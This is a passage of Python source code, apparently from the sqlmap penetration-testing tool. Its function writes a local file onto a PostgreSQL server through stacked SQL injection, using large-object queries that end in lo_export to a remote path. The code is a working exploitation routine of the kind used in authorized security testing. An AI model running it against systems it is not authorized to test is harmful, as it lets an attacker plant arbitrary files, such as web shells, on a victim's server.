(self, localFile, remoteFile, fileType, forceCheck=False)
| 38 | raise SqlmapUnsupportedFeatureException(errMsg) |
| 39 | |
| 40 | def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): |
| 41 | localFileSize = os.path.getsize(localFile) |
| 42 | content = open(localFile, "rb").read() |
| 43 | |
| 44 | self.oid = randomInt() |
| 45 | self.page = 0 |
| 46 | |
| 47 | self.createSupportTbl(self.fileTblName, self.tblField, "text") |
| 48 | |
| 49 | debugMsg = "create a new OID for a large object, it implicitly " |
| 50 | debugMsg += "adds an entry in the large objects system table" |
| 51 | logger.debug(debugMsg) |
| 52 | |
| 53 | # References: |
| 54 | # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html |
| 55 | # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html |
| 56 | |
| 57 | inject.goStacked("SELECT lo_unlink(%d)" % self.oid) |
| 58 | inject.goStacked("SELECT lo_create(%d)" % self.oid) |
| 59 | inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) |
| 60 | |
| 61 | for offset in xrange(0, localFileSize, LOBLKSIZE): |
| 62 | fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) |
| 63 | sqlQueries = self.fileToSqlQueries(fcEncodedList) |
| 64 | |
| 65 | for sqlQuery in sqlQueries: |
| 66 | inject.goStacked(sqlQuery) |
| 67 | |
| 68 | inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) |
| 69 | inject.goStacked("DELETE FROM %s" % self.fileTblName) |
| 70 | |
| 71 | self.page += 1 |
| 72 | |
| 73 | debugMsg = "exporting the OID %s file content to " % fileType |
| 74 | debugMsg += "file '%s'" % remoteFile |
| 75 | logger.debug(debugMsg) |
| 76 | |
| 77 | inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) |
| 78 | |
| 79 | written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) |
| 80 | |
| 81 | inject.goStacked("SELECT lo_unlink(%d)" % self.oid) |
| 82 | |
| 83 | return written |
nothing calls this directly
no test coverage detected